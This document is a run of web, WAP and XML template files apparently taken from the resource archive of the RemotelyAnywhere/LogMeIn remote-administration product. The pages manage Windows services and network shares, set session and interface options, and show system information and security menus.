</table>
<br>
<center>
<input type="button" value="&MSG.DIALOG.APPLY&" onclick="setValues()" ID="Button5" NAME="Button5">
<input type="button" value="&MSG.DIALOG.BACK&" onclick="history.go(-1)" ID="Button6" NAME="Button6">
</center>
<br>
</div>

<?if SERVICE.WHAT="svc" ?>
<!-- LOG ON -->
<div class="tab-page" id="tabLogon">
<h2 class="tab"><?&MSG.ADMIN.SERVICE.USER?></h2>
<script type="text/javascript">tp.addTabPage(document.getElementById("tabLogon"));</script>
<table align=center>
<tr><td colspan="2"><input type="radio" name="sysaccount" <?checked SERVICE.USER = "LocalSystem"?> value="1">&nbsp;<?&MSG.ADMIN.SERVICE.LOCALSYSTEM?></td></tr>
<tr><td colspan="2"><input type="checkbox" name="interactive" <?checked SERVICE.INTERACTIVE ?>><?&MSG.ADMIN.SERVICE.INTERACTIVE?></td></tr>
<tr><td><input type="radio" name="sysaccount" value="0" <?checked SERVICE.USER != "LocalSystem"?>>&nbsp;<?&MSG.ADMIN.SERVICE.ACCOUNT?>:</td>
<td><input type="edit" name="account" size="20" value="<?if SERVICE.USER != "LocalSystem" ?><?&SERVICE.USER?><?endif?>"></td></tr>
<tr><td>&nbsp;&nbsp;&nbsp;<?&MSG.DIALOG.PWDENTRY?>:</td><td><input type="password" name="pass" size="20"></td></tr>
<tr><td>&nbsp;&nbsp;&nbsp;<?&MSG.DIALOG.PWDCONFIRM?>:</td><td><input type="password" name="passconf" size="20"></td></tr>
</table>
<br>
<center>
<input type="button" value="&MSG.DIALOG.APPLY&" onclick="setValues()" ID="Button3" NAME="Button3">
<input type="button" value="&MSG.DIALOG.BACK&" onclick="history.go(-1)" ID="Button4" NAME="Button4">
</center>
<br>
</div>
<?endif?>

<!-- DEPENDENCIES -->
<div class="tab-page" id="tabDepends">
<h2 class="tab"><?&MSG.ADMIN.SERVICE.DEPENDS?></h2>
<script type="text/javascript">tp.addTabPage(document.getElementById("tabDepends"));</script>
<table class="inner" align=center width="80%">
<?if DEPENDENCIES ?>
<tr><th><?&MSG.ADMIN.SERVICE.DEPENDS.FWD?></th></tr>
<?enum DEPENDENCIES?>
<tr><td><a href="&TEMPLATE&?svc=%DEPENDENCY.NAME%&idx=%REQ.IDX%"><?&DEPENDENCY.DISPLAY?></a></td></tr>
<?next?>
<?else?>
<tr><th><?&MSG.ADMIN.SERVICE.DEPENDS.FWD.NONE?></th></tr>
<?endif?>
</table><br>
<table class="inner" align=center width="80%">
<?if DEPENDENTS ?>
<tr><th><?&MSG.ADMIN.SERVICE.DEPENDS.REV?></th></tr>
<?enum DEPENDENTS?>
<tr><td><a href="&TEMPLATE&?svc=%DEPENDENT.NAME%&idx=%REQ.IDX%"><?&DEPENDENT.DISPLAY?></a></td></tr>
<?next?>
<?else?>
<tr><th><?&MSG.ADMIN.SERVICE.DEPENDS.REV.NONE?></th></tr>
<?endif?>
</table>
<br>
<center>
<input type="button" value="&MSG.DIALOG.APPLY&" onclick="setValues()" ID="Button1" NAME="Button1">
<input type="button" value="&MSG.DIALOG.BACK&" onclick="history.go(-1)" ID="Button2" NAME="Button2">
</center>
<br>
</div>

<?endif?>

</div>
</div>
</form>
</body>
</html>
	Wservice.wml	M<?xml version="1.0"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN" "http://www.wapforum.org/DTD/wml_1.1.xml">
<?ratmpl?>
<wml>
<card id="card1" title="&SERVICE.NAME&"> 

<?if REQ.CTRL?>
<?action "svcctrl"
if WINERRNUM?>
<?&WINERRNUM?>: <?&WINERRMSG?>
<?endif
endif
if REQ.START // need to set service attribs?
action "svcupdate"
endif
// request detailed service information
action "svcinfo"
?>

<p align="center">
<b><?&SERVICE.DISPLAY?></b><br/>
</p>
<p align="left">
<b><?&MSG.TYPE?>:</b><br/> <?&MSG.ADMIN.SERVICE.TYPE:SERVICE.TYPE?><br/>
<b><?&MSG.ADMIN.SERVICE.STATUS?>:</b><br/><?&MSG.ADMIN.SERVICE.STATUS:SERVICE.STATUS?><br/>
</p>

<p align="center">
<br/>
<?if SERVICE.ACCEPT has "start"?>
<anchor><?&MSG.ADMIN.SERVICE.TIP.START?>
<go href="&TEMPLATE&" method="get">
<postfield name="svc" value="&SERVICE.NAME&"/>
<postfield name="ctrl" value="start"/>
<postfield name="what" value="&REQ.WHAT&"/>
</go>
</anchor>
<?endif?>
<?if SERVICE.ACCEPT has "stop"?>
<anchor><?&MSG.ADMIN.SERVICE.TIP.STOP?>
<go href="&TEMPLATE&" method="get">
<postfield name="ctrl" value="stop"/>
<postfield name="svc" value="&SERVICE.NAME&"/>
<postfield name="what" value="&REQ.WHAT&"/>
</go>
</anchor>
<?endif?>
<?if SERVICE.ACCEPT has "pause" ?>
<anchor><?&MSG.ADMIN.SERVICE.TIP.PAUSE?>
<go href="#TEMPLATE#" method="get">
<postfield name="ctrl" value="pause"/>
<postfield name="svc" value="<?&SERVICE.NAME?>"/>
<postfield name="what" value="<?&REQ.WHAT?>"/>
</go>
</anchor>
<?endif?>
<?if SERVICE.ACCEPT has "continue" ?>
<anchor><?&MSG.ADMIN.SERVICE.TIP.CONT?>
<go href="#TEMPLATE#" method="get">
<postfield name="svc" value="<?&SERVICE.NAME?>"/>
<postfield name="ctrl" value="continue"/>
<postfield name="what" value="<?&REQ.WHAT?>"/>
</go>
</anchor>
<?endif?>
<br/>
</p>

<p align="center">
<anchor><?&MSG.DIALOG.UPDATE?>
<go href="&TEMPLATE&" method="get">
<postfield name="svc" value="<?&SERVICE.NAME?>"/>
<postfield name="what" value="<?&REQ.WHAT?>"/>
<postfield name="idx" value="<?&REQ.IDX?>"/>
</go>
</anchor>
<br/>
<anchor><?&MSG.DIALOG.BACK?>
<go href="/svclist.wml" method="get">
<postfield name="what" value="<?&REQ.WHAT?>"/>
<postfield name="idx" value="<?&REQ.IDX?>"/>
<postfield name="cnt" value="5"/>
<postfield name="rasid" value="&RASID&"/>
</go>
</anchor>
</p>

<p align="center">
<b><anchor><?&MSG.DIALOG.MAINMENU?>
<go href="/main.wml" method="get">
<postfield name="rasid" value="&RASID&"/>
</go>
</anchor></b>
</p>
</card>
</wml> 
Esetcookie.html6f<?ratmpl?> 
<?nocache?>
<?action "setcookie"?>
OK
6Tstsetui.htmlQ<?ratmpl?>
<?
if not BRAND.LOGMEIN and REQ.LANG
set session LANG = REQ.LANG
endif

// set home site address
if BRAND.LOGMEIN
// LogMeIn always uses secure connections
set session RA.COM = "https://" PRODUCTWEBSITE
set session DL.COM = "https://" PRODUCTWEBSITE
else
if SSL
set session RA.COM = "https://secure." PRODUCTWEBSITE
set session DL.COM = "https://download." PRODUCTWEBSITE
else
set session RA.COM = "http://" PRODUCTWEBSITE
set session DL.COM = "http://download." PRODUCTWEBSITE
endif
endif

set session DLFF.COM = Cfg.WebSvc.DLFF
if DLFF.COM = ""
set session DLFF.COM = "https://secure.logmein.com"
endif

// set support e-mail address
if BRAND.LOGMEIN
set session RA.SUPPORT = "support@logmein.com"
else
if LANG = "de"
set session RA.SUPPORT = "support@s-inn.de"
else
set session RA.SUPPORT = "support@remotelyanywhere.com"
endif
endif

// set low resolution flag for PDAs
if HTTP.USERAGENT.PDA
set session LORES = "1"
else
set session LORES = ""
endif

// update interface if needed
if LORES
set session UI = "pda"
elseif BRAND.LOGMEIN.FREE OR FULLREMOTECONTROL = "0"
// interface forced by free product type
set session UI = "secrem"
set session UITYPE = "LMI"
elseif FORCEUI
// interface forced by permission settings
set session UI = "secrem"
if BRAND.LOGMEIN
set session UITYPE = "LMI"
endif
elseif BRAND.LOGMEIN.IT
if CFG.Appearance.AdvInterface = "0"
set session UI = "secrem"
set session UITYPE = "LMI"
else
set session UI = "full"
endif
elseif LICENSE.PRODUCT = "secrem"
// interface forced by license type
set session UI = "secrem"
elseif REQ.UI
set session UI = REQ.UI
set cookie LASTUI = REQ.UI
elseif COOKIE.LASTUI
// no interface specified, take default from cookie
set session UI = COOKIE.LASTUI
elseif not UI
// set default interface
set session UI = "full"
endif
?>
Ng> setupdomain.htmlQ<meta http-equiv="X-UA-Compatible" content="IE=11" />
<script type="text/javascript">

ip = /([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)$/.exec(window.location.hostname);
slices = /([^\.]+\.[^\.]+)$/.exec(window.location.hostname);
if (slices && slices.length && slices[1] && (!ip || !ip.length))
document.domain = slices[1];
else
document.domain = window.location.hostname;	// what about hostname and hostname.domain style?

</script>
d>~share.htmle<?ratmpl?>
<?
if REQ.DEL
action "sharedel"
endif
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<?include "macros.html?>
</head>

<body>
<?if WINERRNUM?>
<div><b>Error &WINERRNUM&: &WINERRMSG&</b></div>
<?endif?>
<div id="info" class="window">
<div class="titleBar"><?usemacro TITLEICON("admin")?><span class="titleText"><?&ADMIN.SHARE.TITLE?></span></div>
<table width="100%" <?if not BRAND.LOGMEIN?>height=100%<?endif?> cellpadding=0 cellspacing=0>
<tr <?if BRAND.LOGMEIN?>valign="top"<?endif?>>
<td align=left width="30%">
<iframe name="shares" src="sharelist.html?<?if REQ.SHARE?>share=<?&REQ.SHARE?><?endif?>&%RND%" height=470 marginwidth=0 marginheight=0 hspace=0 vspace=0 scrolling=auto style="border:0px solid ThreeDShadow"></iframe></td>
<td align=left width="70%">
<iframe name="values" src="shareinfo.html?<?if REQ.SHARE?>share=<?&REQ.SHARE?><?endif?>&&RND%" width="100%" height=470 marginwidth=0 marginheight=0 hspace=0 vspace=0 scrolling=auto style="border:0px solid ThreeDShadow"></iframe></td>
</tr>
</table>
</div>
</body>
</html>
M`<shareinfo.htmlp<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<?include "tooltip.inc"?>
</head>

<body class="clientArea" style="padding:0px">
<?
if REQ.USER
action "sharekick"
endif
if REQ.FILEID
action "sharekick"
endif
usemacro WINERRDLG()

if REQ.SHARE
action "shareinfo"
if WINERRNUM
//usemacro WINERRDLG()
&WINERRMSG
else
?>

<div class="buttonBar" style="border:0px">
<div class="buttonGroup">
<a href="title.html?favname=%ADMIN.SHARE.TITLE%%20%28%SHARE.NAME%%29&favicon=menu_admin.png&favargs=share.html%3fshare%3d%SHARE.NAME%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?share=%REQ.SHARE%&%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
<div class="buttonGroup">
<a href="share.html?del=1&share=%SHARE.NAME%&%RND%" target="body"><img src="img/ico_delete.gif" title="<?&DIALOG.DELETE?>" border="0"></a>
<a href="acledit.html?share=%SHARE.NAME%&back=%TEMPLATE%%3fshare%3d%SHARE.NAME%"><img src="img/ico_perm.gif" title="&MSG.ACL.EDIT&" border="0"></a>
</div>
</div>

<center><br>
<fieldset>
<table>
<tr>
<td width="60%" align="right"><?&NAME?>:</td><td><font color="<?&COLOR.Link?>"><b>&SHARE.NAME&</b></font></td><!-- the name of the shared resource -->
</tr>
<tr>
<td align="right"><?&MSG.TYPE?>:</td><td>&SHARE.TYPE&</td><!-- either one of "drive", "printq", "device", "ipc" or "special" -->
</tr>
<tr>
<td align="right"><?&MSG.PATH?>:</td><td><?if SHARE.PATH has ":\"?><a href="dir.html?dir=&SHARE.PATH&" target="body">&SHARE.PATH&</a><?else?>&SHARE.PATH&<?endif?></td><!-- the path to the shared resource -->
</tr>
<tr>
<td align="right"><?&ADMIN.SHARE.COMMENT?>:</td><td>&SHARE.COMMENT&</td><!-- the comment associated with the resource -->
</tr>
<tr>
<td align="right"><?&ADMIN.SHARE.MAXUSERS?>:</td><td><?if SHARE.USERSMAX = ""?><?&ADMIN.SHARE.UNLIMITED?><?else?>&SHARE.USERSMAX&<?endif?></td><!-- the maximum number of connections allowed (undefined if unlimited) -->
</tr>
<tr>
<td align="right"><?&ADMIN.SHARE.USERS?>:</td><td>&SHARE.USERS&</td><!-- the number of users currently connected -->
</tr>
<tr>
<td align="right"><?&ADMIN.SHARE.OPENFILES?>:</td><td>&SHARE.FILES&</td>
</tr>
</table>
<br>
</fieldset>
<fieldset><legend>&MSG.ACL.TITLE&</legend>
<?if ACLS?>
<br>
<table class="inner" width="100%">
<tr><th>Type</th><th><?&ADMIN.SHARE.USER?></th><th>Apply</th><th>Flags</th></tr>
<?enum ACLS?>
<tr><td>&ACL.TYPE&</td><td>&ACL.USER&</td><td>&ACL.APPLY&</td><td>&ACL.FLAGS&</td></tr>
<?next?>
</table>
<?else?>
<center>&MSG.DEFAULT&</center>
<?endif?>
<br>
</fieldset>
<fieldset><legend>&MSG.ADMIN.SHARE.CONNECTIONS&</legend>
<?if CONNS?>
<table class="inner" width="100%">
<tr><th><?&ADMIN.SHARE.COMPUTER?></th>
<th><?&ADMIN.SHARE.USER?></th>
<th><?&ADMIN.TIME.TITLE?></th>
<th style="text-align:right"><?&ADMIN.SHARE.FILES?></th>
<th style="text-align:center"><?&ADMIN.SHARE.CLOSE?></th>
</tr>
<?enum CONNS?>
<tr><td>&CONN.COMPUTER&</td>
<td>&CONN.USER&</td>
<td><?&CONN.TIME _for?></td>
<td align=right>&CONN.FILES&</td>
<td align=center><a href="&TEMPLATE&?share=%SHARE.NAME%&user=%CONN.USER%"><img src="img/ico_evt_stop.png?bg=%COLOR.DlgBack%" border=0 title="Close connection" width=16 height=16></a></td>
</tr>
<?next?>
</table>
<?else?>
<center>&MSG.CONFIG.NONE&</center>
<?endif?>
<br>
</fieldset>
<fieldset><legend>&MSG.ADMIN.SHARE.FILES&</legend>
<?if FILES?>
<table class="inner" width="100%">
<tr><th><?&ADMIN.SHARE.FILE?></th>
<th><?&ADMIN.SHARE.USER?></th>
<th><?&ADMIN.SHARE.LOCKS?></th>
<th><?&ADMIN.SHARE.CLOSE?></th>
</tr>
<?enum FILES?>
<tr>
<td onmouseover ="showTip(event,'$FILE.PATH$',false,'TD')">
<?&FILE.NAME?></td>
<td>&FILE.USER&</td>
<td align=right>&FILE.LOCKS&</td>
<td align=center><a href="&TEMPLATE&?share=%SHARE.NAME%&fileid=%FILE.ID%"><img src="img/ico_evt_stop.png?bg=%COLOR.DlgBack%" border=0 title="Close connection" width=16 height=16></a></td>
</tr>
<?next?>
</table>
<?else?>
<center>&MSG.CONFIG.NONE&</center>
<?endif?>
<br>
</fieldset>
<?
endif
endif
?>
</center>
</body>
</html>
ssharelist.html<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<?include "table.inc"?>
<base target="values">
</head>

<body class="clientArea">
<?
action "sharelist"
usemacro WINERRDLG()
?> 

<script language="JavaScript">
var shares = new Array();
var selected;
<?enum SHARES?>
shares[$ENUM.INDEX$] = '$SHARE.NAME$';
<?next?>
function goShare(idx) {
parent.values.location = "shareinfo.html?share=" + escape(shares[idx]);
}
</script>
<table id="slist" class="inner" width="99%">
<tr class="ttd"><td>&MSG.NAME&</td><td>&MSG.TYPE&</td></tr>
<?enum SHARES?>
<tr id="slist<?&ENUM.INDEX?>" onclick="goShare($ENUM.INDEX$)">
<td>&SHARE.NAME&</td><td>&MSG.ADMIN.SHARE.TYPE:SHARE.TYPE&</td>
<?if REQ.SHARE = SHARE.NAME?>
<script language="JavaScript">
// select this item
selected = slist<?&ENUM.INDEX?>;
</script>
<?endif?>
</tr>
<?next?>
</table>
<script language="JavaScript">
// SELECTABLE TABLE OBJECT
var trows = new SelectableTableRows(document.getElementById("slist"), false);
if (selected)
trows.setItemSelected(selected, true);
else if (shares.length) {
trows.setItemSelected(slist1, true);
goShare(1);
}
</script>
</body>
</html>
`\ socketpolicy.xmlӞ<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="master-only"/>
<allow-access-from domain="*" to-ports="*" />
</cross-domain-policy>
Y-sr\aboutSR.htmlI<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
</head>

<body>
<?
action "rainfo"
action "osinfo"
usemacro WINERRDLG()
?>

<div class="window" style="width:100%;">
<div class="titleBar" style="padding-bottom: 0px;" /><?usemacro TITLEICON("ra")?><span class="titleText">&MSG.INFO.ABOUT.TITLE&</span></div>
<br>
<?include "news.html"?>
<br>

<b><?&MSG.INFO.LICENSE.TO?>:</b><br>
<?enum LICENSEES?>
<b><?&LICENSEE.NAME?></b><br>
<?next?>
<br>
<?&MSG.INFO.LICENSE:LICENSE.TYPE?>
<br>
<?&MSG.INFO.LICENSE.ID?>: <?=LICENSE.ID?><br>
<br><br>

<dl>
<dt><a href="../help.html?type=guide" target="_blank"><?&MSG.INFO.ABOUT.GUIDE?></a></dt>
<dd><?&MSG.INFO.ABOUT.GUIDEDESC?></dd>

<dt><a href="../help.html?type=manual" target="_blank"><?&MSG.INFO.ABOUT.MANUAL?></a></dt>
<dd><?&MSG.INFO.ABOUT.MANUALDESC?></dd>

<dt><a href="../dotcom.vcgi" target="_blank"><?&PRODUCTWEBSITE?></a></dt>
<dd><?&MSG.INFO.ABOUT.DOTCOMDESC?></dd>

<dt><a href="../help.html?type=license"><?&MSG.INFO.ABOUT.LICENSE?></a></dt>
<dd><?&MSG.INFO.ABOUT.LICENSEDESC?></dd>
</dl>
<br>

<?&MSG.INFO.LICENSE.STATEMENT?><br>
<?&VERSION?>&nbsp;<?&VERSION.RA?><?if not BRAND.LOGMEIN?>, <?&MSG.INFO.ABOUT.OpenSSL?> <?&VERSION.SSL?>, <?&MSG.INFO.ABOUT.OpenSSH?> <?&VERSION.SSH?><?endif?>
</div>

</body>
</html>
5esr\infoSR.html:<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
</head>

<body>
<div class="window">
<div class="titleBar" style="padding-bottom: 0px;" /><?usemacro TITLEICON("home")?><span class="titleText">&MSG.INFO.SRTITLE&</span></div>
<br>
<table width="95%"><tr><td valign="top">
<b>&MSG.WELCOMELINE&</b>
<?action "rainfo"?><?usemacro WINERRDLG()?>
&MSG.INFO.USER&: <b>&USERNAME&</b><br><br>
<?action "timeget"?>
&MSG.ADMIN.TIME.CURRENT&: <b><?&DATETIME _dtml?></b><br>
&MSG.INFO.LICENSE.RAWORK&<br>
<?action "rebootat"?>
<?if REBOOTAT.TIME?><b><a href="restartat.html">&MSG.ADMIN.REBOOTAT.TIME&</a></b><?endif?>
<br>
</td><td valign="top">
<!-- SECURITY -->
<table class="inner"><tr class="ttd"><td>
<b>&MENU.SECURITY&</b><br>
<?&MSG.INFO.SECURITY.AUTH?>:&nbsp;<?if NTLM?>&MSG.LOGIN.NTLMSET&<?else?>&MSG.LOGIN.USER&/&MSG.LOGIN.PASS&<?endif?><?if RSAAUTH?>, &MSG.LOGIN.RSA.NAME&<?endif?><br>
<?&MSG.INFO.SECURITY.TRANS?>:
<?if SSL?>
<?&MSG.INFO.SECURITY.SECURE?>&nbsp;<img src="../img/ico_evt_lock.png?bg=%COLOR.TblHdrBack%" align="absmiddle" border="0" width="16" height="16">
<?else?>
<a href="../cfgssl.html"><?&MSG.INFO.SECURITY.INSECURE?>&nbsp;<img src="../img/ico_evt_warn.png?bg=%COLOR.TblHdrBack%" align="absmiddle" border="0" width="16" height="16"></a>
<?endif?>
</td></tr>
</td></tr></table>
</table>

<?set BG=COLOR.DlgBack?><?include "webinfo.html"?>

<!-- MOST RECENT ACCESSES -->
<?action "recent"?><?usemacro WINERRDLG()?>
<table class="inner" width="95%">
<tr><th colspan="5"><?&MSG.INFO.CONNS.RECENT?></th></tr>
<tr class="ttd">
<td><?&MSG.INFO.CONNS.HOST?></td>
<td><?&MSG.INFO.CONNS.USER?></td>
<td><?&MSG.INFO.CONNS.LOGIN?></td>
<td><?&MSG.INFO.CONNS.LOGOUT?></td>
<td><?&MSG.INFO.CONNS.IDLE?></td>
</tr>
<?enum RECENT?>
<tr>
<td><?&RECENT.ADDR?><?if RECENT.HOST?> (<?&RECENT.HOST?>)<?endif?></td>
<td><?&RECENT.USER?></td>
<td><?&RECENT.LOGIN_dtms?></td>
<?if RECENT.ONLINE?>
<td><?&MSG.INFO.CONNS.ONLINE?> (<?&RECENT.LOGIN_for?>)</td>
<td class="num"><?&RECENT.IDLE_spn?></td>
<?else?>
<td><?&RECENT.LOGOUT_dtms?></td>
<td></td>
<?endif?>
</tr>
<?next?>
</table><br>

<!-- HARDWARE INFO -->
<?action "cpuinfo"?><?usemacro WINERRDLG()?>
<?action "osinfo"?><?usemacro WINERRDLG()?>
<?action "meminfo"?><?usemacro WINERRDLG()?>
<table class="inner" width="95%">
<tr><th colspan="2"><?&MSG.INFO.HARDWARE.TITLE?></th></tr>
<?if OS.USER // got an interactive user?>
<tr>
<td class="ttd"><?&MSG.INFO.HARDWARE.USER?>:</td>
<td><?&OS.USER?></td>
</tr>
<?endif?>
<?if USERS // got any terminal service users?>
<tr valign="top">
<td class="ttd"><?&MSG.INFO.HARDWARE.USERTS?>:</td>
<td><?enum USERS?>&USER.NAME&<?if USER.WINS?> (&USER.WINS&)<?endif?><br><?next?></td>
</tr>
<?endif?>
<?if CPU.CLOCK != 0 // win9x can't tell cpu speed ?>
<tr>
<td class="ttd"><?&MSG.INFO.HARDWARE.CPU?>:</td>
<td><?&MSG.INFO.HARDWARE.CPUINFO?> <?if CPU.COUNT != "1"?>(x <?&CPU.COUNT?>)<?endif?></td>
</tr>
<?endif?>
<tr>
<td class="ttd"><?&MSG.INFO.HARDWARE.CPUUTIL?>:</td>
<td><?usemacro PERCENTBAR(CPU.USAGE)?></td>
</tr>
<tr>
<td class="ttd"><?&MSG.INFO.HARDWARE.PHYSICAL?>:</td>
<td><?usemacro PERCENTBAR(MEMP.USEDP)?> (<?&MSG.INFO.HARDWARE.SIZE?>: <?&MEMP.SIZE _szm?>, <?&MSG.INFO.HARDWARE.USED?>: <?&MEMP.USED _szm?>)</td>
</tr>
<tr>
<td class="ttd"><?&MSG.INFO.HARDWARE.COMMIT?>:</td>
<td><?usemacro PERCENTBAR(MEMC.USEDP)?> (<?&MSG.INFO.HARDWARE.SIZE?>: <?&MEMC.SIZE _szm?>, <?&MSG.INFO.HARDWARE.USED?>: <?&MEMC.USED _szm?>)</td>
</tr>
<?if BIOS.SYSTEM.VER?>
<tr>
<td class="ttd"><?&MSG.INFO.HARDWARE.BIOS?>:</td>
<td><?&BIOS.SYSTEM.VER?><?if BIOS.SYSTEM.DATE?>, <?&BIOS.SYSTEM.DATE?><?endif?></td>
</tr>
<?endif?>
<tr>
<td class="ttd"><?&MSG.INFO.HARDWARE.SCREEN?>:</td>
<td><?&SCREEN.WIDTH?> x <?&SCREEN.HEIGHT?> <?&SCREEN.DEPTH?>bits<?if BIOS.VIDEO.DATE?> Video Bios: <?&BIOS.VIDEO.DATE?><?endif?></td>
</tr>
</table><br>

<!-- OPERATING SYSTEM -->
<table class="inner" width="95%">
<tr><th colspan="2"><?&MSG.INFO.OS.TITLE?></th></tr>
<tr><td><?&OS.NAME?> <?&OS.VER?> (<?&MSG.INFO.OS.BUILD?>: <?&OS.BUILD?>) <?&OS.CSD?></td></tr>
<?if OS.INSTALLED?><tr><td><?&MSG.INFO.OS.INSTALLED?> <?&OS.INSTALLED _dtml?></td></tr><?endif?>
<?if OS.BOOTED?><tr><td><?&MSG.INFO.OS.BOOTED?> <?&OS.BOOTED _dtml?> (<?&OS.BOOTED _ago?>)</td></tr><?endif?>
</table><br>

<?action "mbminfo"?>
<?if SENSORS > "0"?>
<!-- MOTHERBOARD MONITOR -->
<table class="inner" width="95%">
<tr>
<th colspan="5">MotherBoard Monitor &MBM.VERSION& sensors</th>
</tr>
<tr>
<th>&MSG.NAME&</th>
<th>&MSG.VALUE&</th>
<th>&MSG.PERF.MIN&</th>
<th>&MSG.PERF.MAX&</th>
<th>&MSG.PERF.AVG&</th>
</tr>
<?enum SENSORS?>
<tr valign="top">
<td>&SENSOR.NAME&</td>
<td class="num">&SENSOR.VALUE&&SENSOR.UNIT&</td>
<td class="num">&SENSOR.MIN&&SENSOR.UNIT&</td>
<td class="num">&SENSOR.MAX&&SENSOR.UNIT&</td>
<td class="num">&SENSOR.AVG&&SENSOR.UNIT&</td>
</tr>
<?next?>
</table><br>
<?endif?>

<?&MSG.INFO.LICENSE.STATEMENT?><br>
</div>
</body>
</html>
slsr\pref.htmlO<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
</head>

<body>
<div class="window">
<div class="titleBar" style="padding-bottom: 0px;" /><?usemacro TITLEICON("pref")?><span class="titleText">&MENU.PREFER&</span></div>

<br>
<br>
<h3>&MSG.SECREM.PREF.SELECT&</h3>

<dl>

<?if ACTIONS has "-cfgnet-"?>
<dt><a href="../cfgnet.html">&MSG.CONFIG.NET.TITLE&</a></dt>
<dd>&MSG.SECREM.PREF.NET&</dd>
<?endif?>

<?if ACTIONS has "-cfglog-"?>
<dt><a href="../cfglog.html">&MSG.CONFIG.LOG.TITLE&</a></dt>
<dd>&MSG.SECREM.PREF.LOG&</dd>
<?endif?>

<?if ACTIONS has "-cfglicense-"?>
<dt><a href="../cfglicense.html">&MSG.CONFIG.LICENSE.TITLE&</a></dt>
<dd>&MSG.SECREM.PREF.LICENSE&</dd>
<?endif?>

<?if ACTIONS has "-cfgremctrl-"?>
<dt><a href="../cfgremctrl.html">&MSG.CONFIG.REMCTRL.TITLE&</a></dt>
<dd>&MSG.SECREM.PREF.REMCTRL&</dd>
<?endif?>

<?if DISPLAYCHGUI?>
<dt><a href="../main.html?ui=full&%RND%" target="_parent">&MSG.WEBSVC.UI.TOADVANCED&</a></dt>
<dd>&MSG.WEBSVC.UI.TOADVANCED.DESC&</dd>
<?endif?>

</dl>

</body>
</html>
vfsr\secRem.html'r<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
</head>

<body>
<div class="window">
<center>
&MSG.WELCOME&<br>

<?if RANEW.UPDATE?>
<h2>&MSG.INFO.UPDATE.TITLE&</h2>
&MSG.INFO.UPDATE:RANEW.UPDATE& &MSG.INFO.UPDATE.UPGRADE&<br>
<b><a href="&RANEW.URL&" target="_blank">&PRODUCTNAME& &RANEW.VERSION&</a></b><br>
<?endif?>

<?
action "rainfo"
usemacro WINERRDLG()
?>
<?&INFO.LICENSE.TO?>: 
<?if LICENSEES?>
<?enum LICENSEES?>
<b><?&LICENSEE.NAME?></b>&nbsp;
<?next?>
<?endif?><br>

</center>

<br>
<br>
<h3>&MSG.SECREM.SPLASH.SELECT&</h3>

<dl>
<?if ACTIONS has "-remctrl-"?>
<dt><a href="../remctrl.html?%RND%">&MSG.REMCTRL.TITLE&</a></dt>
<dd>&MSG.SECREM.SPLASH.REMOTE&</dd>
<?endif?>

<?if ACTIONS has "-filexfer-"?>
<dt><a href="../filexfer.html?%RND%">&MSG.FILEXFER.TITLE&</a></dt>
<dd>&MSG.SECREM.SPLASH.FILEXFER&</dd>
<?endif?>

<?if ACTIONS has "-restart-"?>
<dt><a href="../restart.html?%RND%">&MSG.ADMIN.REBOOT.TITLE&</a></dt>
<dd>&MSG.SECREM.SPLASH.REBOOT&</dd>
<?endif?>

<dt><a href="infoSR.html?%RND%">&MSG.MENU.SRINFO&</a></dt>
<dd>&MSG.SECREM.SPLASH.SRINFO&</dd>

<?if DISPLAYSEC?>
<dt><a href="security.html?%RND%">&MSG.MENU.SECURITY&</a></dt>
<dd>&MSG.SECREM.SPLASH.SECURITY&</dd>
<?endif?>

<?if DISPLAYPREFS?>
<dt><a href="pref.html?%RND%">&MSG.MENU.PREFER&</a></dt>
<dd>&MSG.SECREM.SPLASH.PREFER&</dd>
<?endif?>

<?if DISPLAYCHGUI?>
<dt><a href="../main.html?ui=full&%RND%" target="_parent">&MSG.WEBSVC.UI.TOADVANCED&</a></dt>
<dd>&MSG.WEBSVC.UI.TOADVANCED.DESC&</dd>
<?endif?>

<dt><a href="aboutSR.html?%RND%">&MSG.INFO.ABOUT.TITLE&</a></dt>
<dd>&MSG.SECREM.SPLASH.ABOUT&</dd>

</dl>

<br>
<?include "webinfo.html"?>

</div>			
</body>
</html>
э sr\security.html<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
</head>

<body>
<div class="window">
<div class="titleBar" style="padding-bottom: 0px;" /><?usemacro TITLEICON("secure")?><span class="titleText"><?if UITYPE = "LMI"?>&MSG.MENU.SECURITY.LMIPRO&<?else?>&MSG.MENU.SECURITY&<?endif?></span></div>
<br>
<br>
<h3 style="padding-left: 16px;">&MSG.SECREM.SECURITY.Select&</h3>

<dl style="padding-left: 16px;">

<?if actions has "-cfgperm-" and BRAND.LOGMEIN // LMI does not have Admin Toolkit, so we have to include this?>
<dt><a href="../cfgperm.html?back=%TEMPLATE%">&MSG.CONFIG.PERMISSIONS.TITLE&</a></dt>
<dd>&MSG.CONFIG.PERMISSIONS.SHORTDESC&</dd>
<?endif?>

<?if actions has "-pwdchg-"?>
<dt><a href="../chgpwd.html">$MSG.CHGPWD.TITLE$</a></dt>
<dd>$MSG.CHGPWD.SHORTDESC$</dd>
<?endif?>

<?if ACTIONS has "-lockout-"?>
